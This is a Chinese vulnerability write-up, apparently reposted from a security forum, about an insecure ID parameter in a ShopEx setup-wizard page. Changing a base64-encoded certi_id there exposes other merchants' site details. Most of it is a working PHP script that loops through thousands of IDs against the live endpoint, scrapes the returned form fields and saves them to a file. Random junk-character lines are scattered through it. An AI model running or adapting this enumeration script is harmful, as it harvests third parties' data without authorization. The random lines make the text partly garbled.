ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
1 q& N$ `- H6 Y( @ShopEx某接口缺陷,可遍历所有网站
详细说明：
+ E" ~# [! {' N# H$ V9 X) N问题出现在shopex 网店使用向导页面



http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=

9 J2 W5 `( S9 M
; R; V3 E* {7 U: ~  J, {  Y7 U
, F( v; C( w/ S! |/ y7 ?refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
' i/ v! k+ i8 m; e6 G" ^3 j, v
7 P3 z* u; E( M3 }$ L. a' l2 ]0 j

我们修改certi_id 即可遍历所有使用了ShopEx程序的网站



0 U  q) h( e& _1 B9 i) Z( E5 [<?php

                for ($i=1; $i < 10000; $i++) { //遍历

0 y; L% e1 @2 K! E% ^                        ShowshopExD($i);
& Y/ S$ X0 x0 p- \: V
                }
+ b& {1 E" ^9 m# W
" V6 U( O" [- x: `                function ShowshopExD($cid) {

                $url='http://guide.ecos.shopex.cn/step2.php';
- L+ j( D& Q8 |
. V" w% |0 j* z  h6 O                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
9 V& `4 R- o5 |, [
; [" F0 B# I) o        $url = $url.'?refer='.$refer;

        $ch = curl_init($url);
5 K! T4 `/ b5 }; P6 r) C4 R
- d% u9 b: \: q' w        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
! z- b# n) H/ ~. X
        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
; I% W& A' y9 z
* e! W/ Q1 O/ b) I7 W- a        $result = curl_exec($ch);
( e. f1 O1 d+ V: L
        $result = mb_convert_encoding($result, "gb2312", "UTF-8");
  X) [6 w. K' W4 M, H8 _6 z) C/ h1 b
        if(strpos($result,$refer))

        {

' \$ _( s1 v5 h3 t                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件
& g/ ^* A& E0 U
                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);

& ?& E' y5 d4 F* v: Q                foreach ($value[1] as $key) {
+ E7 ?9 Z/ E- M$ S* C; T9 p
                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);

                        echo $res[1][0].':'.$res[3][0]."\r\n";

1 i, Z! `) N& s1 j# u' }. t! S                        $col =$res[1][0].':'.$res[3][0]."\r\n";

                        fwrite($fp, $col, strlen($col));
  h6 G4 q# `; c; r
                }
1 ?5 f; M! K# l% Q( u
: v, U3 E$ j* C% H6 f: ?% q                echo '--------------------------------'."\r\n";

                fclose($fp);

        }
3 e; x2 |! n+ \; d8 k
: e# d7 a9 L5 @3 R& A. M: q  h  b        flush();

        curl_close($ch);
) B- J: _# F  C; D1 P
+ @2 e2 f! @9 ]" z* a* j( `: C3 u2 Z                }

?>
漏洞证明：
: w5 o& i. v& M7 V: H! zhttp://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
refer换成其他加密方式